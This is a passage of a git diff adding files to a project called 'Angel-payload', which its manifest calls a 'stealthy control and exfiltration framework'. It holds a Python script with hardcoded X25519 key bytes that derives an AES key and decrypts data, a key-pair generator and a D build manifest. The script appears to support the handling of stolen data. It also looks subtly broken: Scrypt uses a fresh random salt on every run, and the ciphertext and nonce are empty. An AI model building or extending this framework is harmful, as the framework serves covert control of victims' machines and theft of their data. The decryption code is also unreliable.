||||
0xEA,
|
||||
0xB7,
|
||||
0xEE,
|
||||
0x19,
|
||||
0x96,
|
||||
0x5A,
|
||||
0xD6,
|
||||
0x11,
|
||||
0xE5,
|
||||
0x3F,
|
||||
0x5E,
|
||||
0xA2,
|
||||
0x9C,
|
||||
0x58,
|
||||
]
|
||||
|
||||
public_key_hex = [
|
||||
0x63,
|
||||
0x33,
|
||||
0xA2,
|
||||
0x5F,
|
||||
0x48,
|
||||
0xBB,
|
||||
0x69,
|
||||
0x8E,
|
||||
0x1A,
|
||||
0x90,
|
||||
0x02,
|
||||
0x83,
|
||||
0x20,
|
||||
0xD2,
|
||||
0x05,
|
||||
0x6A,
|
||||
0xA1,
|
||||
0x6E,
|
||||
0x37,
|
||||
0x2E,
|
||||
0xDD,
|
||||
0x84,
|
||||
0xB4,
|
||||
0x06,
|
||||
0x20,
|
||||
0xC8,
|
||||
0xBC,
|
||||
0xB6,
|
||||
0x82,
|
||||
0x17,
|
||||
0x81,
|
||||
0x51,
|
||||
]
|
||||
|
||||
private_key_bytes = bytes(private_key_hex)
|
||||
public_key_bytes = bytes(public_key_hex)
|
||||
|
||||
private_key = x25519.X25519PrivateKey.from_private_bytes(private_key_bytes)
|
||||
|
||||
public_key = x25519.X25519PublicKey.from_public_bytes(public_key_bytes)
|
||||
|
||||
shared_secret = private_key.exchange(public_key)
|
||||
|
||||
kdf = Scrypt(
|
||||
salt=os.urandom(16), length=32, n=2**14, r=8, p=1, backend=default_backend()
|
||||
)
|
||||
aes_key = kdf.derive(shared_secret)
|
||||
|
||||
ciphertext = b""
|
||||
nonce = b""
|
||||
|
||||
cipher = Cipher(algorithms.AES(aes_key), modes.GCM(nonce), backend=default_backend())
|
||||
decryptor = cipher.decryptor()
|
||||
decrypted_data = decryptor.update(ciphertext) + decryptor.finalize()
|
||||
|
||||
print("Decrypted Data:", decrypted_data)
|
||||
12
full/Angel-payload/dub.json
Normal file
12
full/Angel-payload/dub.json
Normal file
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"authors": ["3xc"],
|
||||
"version": "1.0.0",
|
||||
"copyright": "Copyright © 2024, 3xc",
|
||||
"description": "Versatile stealthy control and exfiltration framework",
|
||||
"license": "MIT",
|
||||
"name": "angel",
|
||||
"targetType": "executable",
|
||||
"targetPath": "dist",
|
||||
"sourcePaths": ["angel"],
|
||||
"libs": ["crypt32"]
|
||||
}
|
||||
25
full/Angel-payload/generator.py
Normal file
25
full/Angel-payload/generator.py
Normal file
@@ -0,0 +1,25 @@
|
||||
from cryptography.hazmat.backends import default_backend
|
||||
from cryptography.hazmat.primitives import serialization
|
||||
from cryptography.hazmat.primitives.asymmetric import x25519
|
||||
|
||||
private_key = x25519.X25519PrivateKey.generate()
|
||||
|
||||
public_key = private_key.public_key()
|
||||
|
||||
private_key_bytes = private_key.private_bytes(
|
||||
encoding=serialization.Encoding.Raw,
|
||||
format=serialization.PrivateFormat.Raw,
|
||||
encryption_algorithm=serialization.NoEncryption(),
|
||||
)
|
||||
|
||||
public_key_bytes = public_key.public_bytes(
|
||||
encoding=serialization.Encoding.Raw, format=serialization.PublicFormat.Raw
|
||||
)
|
||||
|
||||
|
||||
def cast_bytes(byte_data):
|
||||
return ", ".join(f"0x{byte:02x}" for byte in byte_data)
|
||||
|
||||
|
||||
print("Private Key:", cast_bytes(private_key_bytes))
|
||||
print("Public Key:", cast_bytes(public_key_bytes))
|
||||
Reference in New Issue
Block a user